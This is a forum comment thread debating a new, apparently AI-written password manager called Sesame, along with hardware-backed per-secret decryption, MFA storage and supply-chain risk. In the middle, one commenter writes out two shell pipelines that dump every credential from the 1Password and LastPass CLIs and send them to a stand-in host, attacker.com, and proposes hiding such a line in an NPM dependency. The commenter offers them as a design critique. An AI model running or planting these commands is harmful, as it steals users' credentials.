I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all their features and slick UI, with no mention of what was wrong with the incredibly diverse set of existing password manager projects. A study I read a few months ago showed that old code has fewer bugs than new code, which seems intuitive but it's nice to have actual data on it as well

Why a whole new project that needs to re-learn the gotchas that the predecessors ran into? Could any grievances have been pull requests or, worst case, a fork?

Side note: have you experimented with different ones? Do you recommend any in particular?

PrivacyGuides (mentioned in a sibling comment) usually has some strange logic for what makes something a good option but it's broadly useful to get some options and ideas

My answer is to more generally look for what's been around, whose authors haven't turned out to be malicious (even after 10+ years of being popular enough that they'd get the motherlode with one malicious update), have had good security responses and seemingly good security practices... so basically look at the oldest thing that meets your needs and search e.g. HN and read its Wikipedia to find out about any red flags. Compare that to two runner-ups

A specific feature I'd recommend is phishing-resistant browser integration, that is, autofill for the browser but it only suggests passwords that you've stored specifically for this website. If another domain asks for it, it shouldn't suggest it and that then raises alarm bells of like "did the website change domains or is someone pretending to be them?". There have been bugs in browser integrations but it's not that regular, you still need to be among the unlucky few that visit a malicious website or ad before it gets found out and fixed, and my professional opinion is that it's easily worth it (our company helps with custom/targeted phishing simulations) - just like the having of a password manager (single point of failure for (nearly) all your credentials) is a tradeoff in the first place that seems to generally pay off. Perhaps memorise a few strong passwords though, like for bank/broker login and such things that would be truly disastrous and also likely that someone has a use for the thing they hack (they're not going to care about your nudes nearly as much as when they can drain hard cash)

Can't have software bugs if you just write your passwords down on paper. /jk

Did you have any thoughts on password safe?

https://pwsafe.org/

I am really afraid of supply chain attack. It feels inevitible that this will happen.

my only thought is i should just roll my own personal password manager closed source.

I mean, you don't have to update if you think that's the most likely vector (I don't disagree, at least for managers that have no online components, not even an update check). I'd recommend reading the changelogs though to see if they upgraded encryption parameters or did other fixes that you should want. You could wait a while applying them, and/or spot check if the diff makes sense

Unless you want sync or other online functionality, you're almost certainly better off with an ancient version of some trusted password manager than with a custom implementation. And if you do, I'd still not necessarily recommend it, but then imo it depends on your experience/knowledge level (regardless of whether you use an LLM)

I've never heard of the one you mention so I can't say anything positive or negative about it. The page looks ancient enough that I... not immediately trust it blindly, but it speaks for it. They either care about stability (not jumping on the latest fashion trends) ...or it's abandoned and the last release might or might not be flawless :p

What supply-chain attack do you suspect pwsafe of being at risk of?

That wasn't the claim. The claim is that stable code (that isn't changed except to fix bugs) has fewer bugs than code someone newly wrote and we haven't had as much time to run into or otherwise uncover flaws. I never meant that all old C code is bug-free craftsmanship or something xD

Found the reference (bless bookmark managers): https://security.googleblog.com/2024/09/eliminating-memory-s...

Relevant bits:

> vulnerabilities decay exponentially.

> A large-scale study of vulnerability lifetimes² published in 2022 in Usenix Security confirmed this phenomenon. Researchers found that the vast majority of vulnerabilities reside in new or recently modified code: [plot]

> This confirms and generalizes our observation⁴, published in 2021, that the density of Android’s memory safety bugs decreased with the age of the code, primarily residing in recent changes.

² https://www.usenix.org/conference/usenixsecurity22/presentat...

⁴ https://security.googleblog.com/2021/04/rust-in-android-plat...

Citing from [4]:

> The above analysis of the age of memory safety bugs in Android (measured from when they were first introduced) demonstrates why our memory-safe language efforts are best focused on new development and not on rewriting mature C/C++ code. Most of our memory bugs occur in new or recently modified code, with about 50% being less than a year old.

A literal interpretation of the claim is, quoted directly, "old code has fewer bugs than new code". Now you've clarified that you meant "stable code", which is fair. But stability is not a guarantee of correctness. Perhaps you meant "correct code", and not necessarily "old" or "stable" code.

I admit it is difficult to infer your intention on the classification of "old code vs new code". I don't see evidence that new code is inherently worse than old code, including in the cited study. There is correlation that people forget lessons learned in the past, but that's as far as I would evaluate the data.

> vulnerabilities decay exponentially.

Because they get fixed over time. That isn't controversial. They also persist over time. The quoted observation depends on proactive maintenance. But proactive maintenance is also the only cause of new bugs by definition. "Recently modified code" stands out in the last paragraph. This study is not talking about stable code.

Reading back, yeah I can see the alternative interpretation of what I wrote, that's fair

> Perhaps you meant "correct code", and not necessarily "old" or "stable" code.

That sounds like a circular statement to me: if the code is correct, it can't have bugs, because bugs are when it does something wrong. Calling it stable seems fair to me, idk which would be most precise and bestest choice of words but that hopefully conveys the concept of some software product that hasn't majorly changed but also isn't just abandoned (say, a part of Firefox that hasn't been rewritten in forever, but Mozilla continues to apply any fixes to it when bugs are reported), for which I think the statement holds

> The quoted observation depends on proactive maintenance.

Yeah, that's the issue with my original wording of "old", where I can totally see the other interpretation coming to mind first. It's not that people who lived longer ago wrote better code :p. Quite the opposite: the effect of awareness increases over the decades is very visible in my work as security tester

So you decrypt -any- password on a system with malware, and malware gets -all- the passwords. Makes life super easy for an attacker.

All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere.

To prevent this, you need to encrypt each password to a key held in a yubikey, nitrokey, or similar with a touch policy. Now as an attacker if I want to get the users whole database of 100 passwords I must trick them to tapping a blinking smartcard or touchid 100 times. Presumably the user would notice something is wrong, and stop. Damage control.

This is how I have been doing password management for over a decade with password store, the standard unix password manager. That tiny shell script is the -minimum- security any password manager must have.

I get that most major password managers like 1password and lastpass also get this wrong. I submit with a straight face that they have never let any capable security engineers near their products. They have a negligent design end to end and must not be replicated.

Isn't this a fundamental issue with all popular password managers? Your setup where each decrypt requires a physical action is superior of course (even if an attacker is still likely to get 2-3 of the most important secrets before you start to investigate why a login isn't working), I just mean that most people don't have this and it's not a particular flaw with OP's implementation right?

It is a negligent and blatant design flaw in all popular implementations, yes. Mooltipass and Password Store are the only two password managers to do the bare minimum. That is ridiculous.

Anyone who corrects this, with a good UX solution, will win the password manager wars. It is so so so easy to do, so it is unthinkable only the CLI password manager written in bash bothers to do it.

Ask an LLM to implement it for you if you must, but no one has any excuse to skip the most basic security function of a password manager: do anything at all to protect it from malware.

The bar for password managers is in hell.

> Anyone who corrects this, with a good UX solution, will win the password manager wars.

In some technical sense, not necessarily in popularity.

You can’t have a good UX with this setup, which is why none of the major password mangers do it.

Of course you can.

Random non technical executive goes to a login page, and a popup happens on an external device like a phone or keychain dongle, watch, or any secondary display that asks "Allow aws.amazon.com root access to open browser tab on laptop xyz?" and if the page you are on right now says "doordash.com" and you did not ask to decrypt aws root credentials, then you say "nope, that does not seem right" and the attack is stopped cold.

The first mistake was letting non technical executive have aws root access in the first place, but the password manager only releasing a single credential at a time with a physical button press on a trusted screen can still be a last line of defense for our most sensitive credentials.

Being user friendly and being able to have any defense at all against malware are not mutually exclusive.

What? This has nothing to do with encrypting each secret separately and requiring presence for decryption. Which I think is a good idea, it just has terrible UX.

This is me talking about the UX of decrypting one password at a time with explicit consent.

> That tiny shell script is the -minimum- security any password manager must have.

So any device without touchid or a yubikey can't use a password manager without typing out your full master password every time you want to access any password?

Every modern device under the sun ships with a hardware security module of some kind which could, if nothing else, rate limit decryptions and ensure decryptions can only happen on that machine. There are so so many hardware anchors free for the taking.

The same hardware Microsoft, Google, and Apple use to verify you are running a "genuine" OS these days can also do general purpose encryption and decryption with rate limits and touch policies. Pick literally any of them. TPM, Passkeys, PIV, touchid, yubikeys, nitrokeys, the keycard to your last hotel room being touched on the hidden NFC reader most people do not know about under Dell touchpads. Use whichever one is the least shitty but not having a hardware anchor in a password manager is shipping a car without airbags.

Sure, what does "the Secure Enclave or TPM could theoretically do this" do for me, if I've got a a trio of desktop PCs running macOS/Linux/Windows with no Touch ID between any of them and I want to keep my passwords synced and reasonably accessible?

The most user friendly way for someone with only one device and no external trusted screens is with the help of a recovery enclave all your secrets are encrypted to.

Whenever you add a new secret, you have it encrypt a copy to ideally a smartcard on your keychain and as a hail mary to each of a quorum of of keys held by secure enclaves that run an open source remotely attestable VM using TDX or SEV-SNP for provably encrypted memory, proof it is not logging, etc. You can also shamir-split encrypt to m-of-n geodistributed key shares stored offline as a double hail mary. All of this would be automatic and transparent to the user.

When you add a new device you must approve from an existing device.

That cryptographic approval, ideally a passkey tap, can start a process to bulk decrypt passwords and re-encrypt them to the TPM key in the new device in a hosted remotely attestable secure enclave the device verifies. The user can be given a chance to cancel this transfer within a reasonable period of time like 48 hours. This extra time could be bypassed if a user has a second device attached to their account. A user could also release one credential at a time manually and explicitly on both devices following the usual rate limit rules etc, or bypass the limit if both devices can be directly connected, or use an offline recovery yubikey or last resort offline bootable recovery usb for expedited recovery as well, etc. Good to have multiple fallback recovery methods that tolerate at least one machine being compromised at all times.

This is just one example scheme. There are many many ways to solve this in a way users are protected without them having to learn to do anything more complicated than account recovery on any web service ever.

I really hope someone rips this off and runs with it. My team and I have open sourced everything required, as have many other teams.

You use a yubikey? Duh?

Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible.

Like if someone wants a password manager that either prompts them or requires a yubikey for every password, that's fine, but expecting everyone else to be on board with that isn't reasonable.

I'm not really willing to accept a level of convenience other than "unlocking my PC lets me autofill website auth without any additional steps", and I'm happy with the level of risk that exposes me to.

> Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible.

If you cannot be bothered to touch a device when it blinks in exchange for having defense against phishing and malware, then I am going to assume you believe you are magically immune to phishing and malware.

It stays plugged into my PC and requires a single second of effort to tap it. I have another that lives on my keys and again requires barely any effort to tap against my phone.

But sure, if the tiniest bit of effort is too much, there isn't really a good way to make passwords actually secure for you. Hopefully that doesn't have any totally unforeseeable consequences for you down the line.

Apples SE doesn’t let you load a key, so you have to reencrypt your secrets for every Apple device you want them on… requiring hundreds of touches. The UX just sucks, which is why it’s not a thing.

An optional remotely attestable secure enclave all secrets are encrypted to on first entry can however bulk encrypt secrets to a public key of each device bypassing the touch policy when adding new devices but still requiring a manual tap for each secret on each device if consent challenges on all involved devices and optional time delay policies are met.

I’m really not sure what you’re trying to say? You have some magic device that can tell when you want you reencrypt everything for new devices versus just accessing your passwords? This doesn’t exist.

Policy gated secure enclaves are absolutely a thing and I have designed several of them, some of which are responsible for protecting hundreds of billions of dollars in assets for major financial institutions.

To make a transaction several people around the world sign with hardware enclaves in their devices, or yubikeys/nitrokeys, and if the threshold of signatures is met, the enclave can permit bulk usage of key material that would not be safe to directly use locally.

The same enclaves that protect multi-billion dollar signing keys, can also be used to assist with secure policy-gated bulk transfer of passwords between the TPMs of different computers, among many other uses.

https://whitepaper.turnkey.com/

https://distrust.co/blog/enclaveos.html

https://caution.co

It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better.

>All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates all passwords in plain text to a pastebin somewhere.

"""All""" they need is to get root? Most people access all key stuff on their own devices, and for the vast ultra super majority of the population and vital sites if their personal trusted device is rooted it's over regardless. Your "Now as an attacker if I want to get the users whole database of 100 passwords I must trick them to tapping a blinking smartcard or touchid 100 times" is total fucking make believe, completely ignoring normal things like RECOVERY FLOWS. If you have root on someone's computer and phone you have access to their email and probably messaging as well, and that will suffice to get into nearly everything including the majority of financial institutions (which even now have massive ones that don't even support HSMs at all, let alone leave no recovery route! looking at you Charles Schwab, with total client assets in excess of $12.5 trillion at the start of this year [0]). There isn't any need for "100 times" because most people don't have 100 different critical accounts, rather single digits or even just one actual one that has things like money or comms.

>This is how I have been doing password management for over a decade with password store, the standard unix password manager. That tiny shell script is the -minimum- security any password manager must have.

Literally laughing out loud here. If it's not easy enough for my friends in their 70s to use and like it's WORTHLESS to most security. Including on some level mine or yours, because security has key social/network effects beyond just individuals, stolen money, information, and access is used to fuel further security threats. Job #1 is to make something people like and works with most of what already exists. Otherwise it's yet another case of "ROTATE PASSWORDS EVERY 2 MONTHS NO USE X NUMBERS OH ALSO Y SPECIAL CHARACTERS NO NOT LIKE THAT" which results in everyone just leaving stuff on sticky notes on their screens and doing the bare minimum to fool the system and using the same thing or minor variants everywhere. Theorycrafted garbage made for robots not humans.

>I submit with a straight face that they have never let any capable security engineers near their products. They have a negligent design end to end and must not be replicated.

I submit with a straight face you are either literally working for a hostile agency to spread disinformation or you have serious neurodivergence or you are seriously and dangerously bubbled with an (un)healthy splash of Dunning-Kruger mixed in.

----

0: https://pressroom.aboutschwab.com/press-releases/press-relea...

Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise.

Exfiltrate all plaintext credentials from 1password:

op list items \

  | jq -r '.[].uuid' \

  | xargs -n1 bash -c 'op get item "$1"' -- \

  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

Exfiltrate all plaintext credentials from lastpass:

lpass ls \

  | grep -oP '(?<=id: )([0-9]+)' \

  | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- \

  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

Stick one of those in a dependency of a dependency of a dependency of a popular NPM package and you can get access to developer accounts at every sector of the tech industry.

Super easy to avoid with minimal change to user experience, and yet no one did because "no one else does".

Except for Mooltipass and Password Store, which unfortunately no one has heard of. It is the popular options with billions of dollars not doing the basics the niche open source ones do that is so unforgivable.

I just wish to not see others repeating those mistakes and putting users at increased risk for no reason. I know someone personally who had their savings account wiped out because malware dumped their lastpass database. A malicious browser plugin to sniff the master password is all it takes without a hardware anchor.

You have to both install and explicitly enable the 1Password CLI, both steps no “normal” user is going to take unless socially engineered to.

https://www.1password.dev/cli/get-started

And getting secrets using it requires explicit authentication with password/fingerprint/etc (I forget if it’s per item or per process, but still).

Those are of course just minimum viable proofs of concept for users with the CLI installed because they are succinct. Real malware could of course install the CLIs for the user helpfully or just directly access the database the next time it is unlocked and dump everything just as easily. A malicious browser plugin to dump the master password to bulk decrypt works just as well.

Decrypting -all- passwords any time you decrypt -any- password under the hood is an irresponsible design for a password manager, especially on modern hardware with so so so many other options that enforce rate limiting, hardware anchored encryption, and physical user consent.

Performative 2FA for every secret like 1password does when the binary has direct access to bulk decrypt all secrets in plain text with a key in system memory is a very strange choice given you could just have the hardware doing the individual decryption for a single secret instead of exposing the secrets that can bulk decrypt the whole database.

Well, they’re not minimum-viable if they don’t work, which they won’t for most users. It’s not a simple matter of the database being unlocked or locked, as I say it’s at least a per-process authentication, protected by the 1Password daemon. I’m not saying it’s a perfect system, but exaggerated mischaracterisation, with no apparent thought to the experience of the average user, doesn’t help your argument. You don’t seem to put much value in memory protection or process sandboxing. Yes with enough exploits you can do anything, but that’s true in any case. The fact is, 1Password is good enough for most people, and even at least one bank that I’m aware of. I’m willing to be convinced of a better implementation, but the fact you’re so scathing of something that works and has UX benefits over per-secret keying is off-putting. All design is trade-offs.

While figuring out how to set up credential management for AI, I discovered 1Password CLI, and it terrifies me how it requires giving full account access for 10 minutes to the entire terminal! They seem to think the terminal environment should be treated the same as an app running with macOS protections, and that it's expected user experience to match how the GUI app operates. [1] I think that posture is wildly irresponsible, and that the 1Password GUI authorization dialog should specify and allow access only once to the items requested from CLI.

I don't understand why anyone would use LastPass. [2]

[1] https://www.1password.community/developers-69/security-conce... [2] https://en.wikipedia.org/wiki/LastPass#Security_incidents

Sticky notes is probably absolutely fine security wise if you’re not in an office/shared space.

The problem with sticky notes isn't that you have a physical note with your password - it's that the main benefits of a password manager are a) giving you long, complex passwords that can't be guessed, b) giving you different passwords for every service to protect from leaks, and sticky notes are terrible at doing that at any scale, especially when you can't autofill them to the appropriate website.

Granted, a lot of services basically design their service for the common denominator of people using sticky notes by instituting rate limits, requiring 2FA, etc.

A vibe-coded password-manager? Sure! where do i sign up?

It's also half-coded in Javscript, with a grand total of 881 unique dependencies (271 npm + 614 Rust; derived from 38 directly declared dependencies). What could possibly go wrong?!

I never thought about wanting an HN comment as a wearable shirt before, but this ones one I would buy. But seriously, I love Claude and building all sorts of projects, but something as crucial as a password manager is a little bit too risky.

Reminds me of letting an LLM generate a strong password in the first place. Very practical, very quick, no terminal commands needed! I'm sure some have done exactly this. But then you realise your password is always shared with your LLM provider, and it's not so random after all (unless it used tools).

I don't have an issue with a vibe coded password manager, LLMs are insanely good. The issue, atleast to me, is the UI is extremely low effort LLM slop. I'd have appreciated something native that was super fast.

If you’re going to vibecode a site, at least write the copy yourself. AI text is exhausting to read.

How does it compare to KeePassXC?

KeePassXC is definitely much more mature right now. I mean, Sesame is similar in being local-first and not requiring a cloud service, but I am aiming for a more modern consumer style experience. There is still a lot of work ahead to get it up to speed. I might also build more products around it eventually, so there’s a consistent ecosystem.

(and of course, it would be great to eventually surpass some of the existing projects :) )

What do you mean by a "consumer style experience"?

subscription style paid program, of course. Starting at 1 dollar a month now, until they get market penetration, then they will jack up prices (for increased opex, ostensibly). The classic SaaS playbook.

Curious what was the use case that drove the creation?

I still don’t get why password managers builders think it’s a great idea to store MFA token together with the password, totally defeating the purpose of MFA in the first place.

I use this for MFA that's forced upon me, rather than MFA I request and want.

(It still protects against a password leak, though, so doesn't entirely defeat the purpose of MFA.)

Depends what you think the purpose of MFA is.

By and large, I see it as protection for the service provider, not for the me - they prevent the service provider from having to deal with people using weak passwords or re-using passwords that get leaked.

By-and-large, given the option, I wouldn't enable MFA - I appropriately store my strong, unique passwords, and am satisfied with that level of security.

Having MFA forced on my is purely a convenience downgrade without any real security upgrade, and having my password manager automatically fill MFA tokens minimizes that convenience downgrade.

As a second factor of authentication, a one-time passcode is supposed to be “something you have,” which is still satisfied when stored in a password manager. It no longer serves as a preventative in the event your password manager is compromised, but it’s still fine if any individual password is.

Not really. MFA still protects against the much more common case where the password itself is compromised, either through a breach, reuse, phishing, interception, bad storage, etc. An MFA code is short-lived and can’t simply be reused later, unlike a password.

Keeping the password and MFA secret in the same password manager reduces separation (if someone fully compromises your vault, they will gain access to both factors). But that doesn’t make MFA pointless; it just means it doesn’t protect you against that particular failure mode.

And if someone has full access to your password manager, you already have a much bigger problem.

I wish there was a password manager with a different focus.

In the way where there would be a server (selfhosted) that has the passwords and is well protected. Then, on the server, I can configure access to the secrets on my clients and — and that is important — restrict the number of secrets that can be accessed per time. And on each client I want to be told if secrets got accessed by another client.

Because, optimally I would use passkeys and other means of authentication, except for initial auth. But if my client gets compromised I don't want it to be able to access and exfiltrate all secrets at once. That is basically the worst case scenario.

I don't understand why it's not common in password managers to have different categories of how important a secret is and better control/transparency to detect compromised clients and contain the impact.

I suspect that's uncommon because basically every password manager works offline so isn't querying the server on each request, and implementing something where you trust a compromised client to rate-limit itself and report back appropriately seems like a lot of work to protect against a pretty specific threat model.

Right. That's why I think that the client syncing (all) credentials is just what I don't want/like and there must be a server, since a compromised client can obviously not be trusted to doing any rate-limiting.

And the server also needs to inform about usages, since otherwise a compromised client could just extract everything slowly over time.

Does that make sense?

Otherwise, basically just one compromised client means that suddenly all my credentials need to be considered stolen and have to be changed everywhere.

I like that this could be self hosted. I don't have anything against the big password managers (I use and pay for one), but they are a massive target for hackers for obvious reasons. If everyone could self host their own vault on a personal domain, the reward for hackers is much more difficult to get access to.

I don't really have anything against the big password managers either. I just don't love having to pay for a full year upfront with some of them. More than that though, a lot of them just don't quite fit what I want, or they feel a bit dated to use, like KeePassXC. That's a big part of why I started building Sesame. (and hoping to expand later on to have a more pleasurable ecosystem)

>I like that this could be self hosted.

For now. I note that all of the repos that are attached to the project have a license except sesame-server, which I do not think is an accident.

how does this compare to vaultwarden + bitwarden? my only concern there is that VW can throw self-host support out the door whenever they like. not that they'd have a reason to

vaultwarden + bitwarden is way more mature right now, but the main difference is that sesame is local-first by design. Vaultwarden also depends on staying compatible with bitwarden's clients/api, while this owns the whole stack

bitwarden clients are open source, so it would be possible to fork them if bitwarden ever makes user unfriendly decisions

This sounds an awful lot like PasswordSafe[0] in a different dress. Does it provide any features that set it apart?

0 - https://www.pwsafe.org/relatedprojects.shtml

No offense but you might want to consider a different styling for the app/site because IMO this one screams "Claude vibe-code style".

it _is_ vibe-coded, you can read the commit descriptions in sesame-desktop repo

I wouldn't trust any password manager or critical applications like this written after 2024

bitwarden/KeePassXC are already more than enough

It's good that vibecoded software look vibecoded, because I then immediately know not to trust that it works, not to trust that it's secure, and not to trust that the maintainer will give a shit about it in six months.

Again Tauri. How then it different from Bitwarden? Desktop != Web

Does it purge passwords from memory on vault lock?

Yes. Every lock entry point (manual, auto-lock timer, app shutdown) funnels through one function, so the behavior can't drift, that calls lock_for_lifecycle, which drops the unlocked session. Dropping UnlockedVault zeroizes the 32-byte vault key and the whole in-memory payload in place before deallocation: names, logins, notes, cards, SSH keys, TOTP material, history, trash. Parsed import rows are wiped on lock too, and a session epoch is bumped so any pending browser fill approval dies with the lock! (also to mention it does not cover swap and hibernation files) ((also to mention I couldn't link the lines to mentioned functions but if you want to take a look, look at these lines: src-tauri/src/vault/mod.rs:78 sesame-core/src/lib.rs:197 sesame-core/src/lib.rs:225 types.rs:2184 ))

This response feels very AI generated. Which does not bode well for my faith in this project if the maintainer doesn’t even know basic facts about how it works and has to ask his AI.

How does it compare to a local deploy of PSONO?

When will we read an article about how to pwn pw-managers. How to hook clipboard and the like and steal everything inside.

WebView...

ive got my own pwd file using a short shell script in bashrc that uses nano, gpg and /dev/shm to keep things in memory (hopefully). works great, is minimalist and there are no hidden surprises.

I don't see the support for passkeys listed anywhere?

Passkeys will be added in the coming weeks

please prioritize, i'm keen on that

Why needlessly lose quantum resistance by using a passkey over a password?

you got to pay 10 euro a year to self host?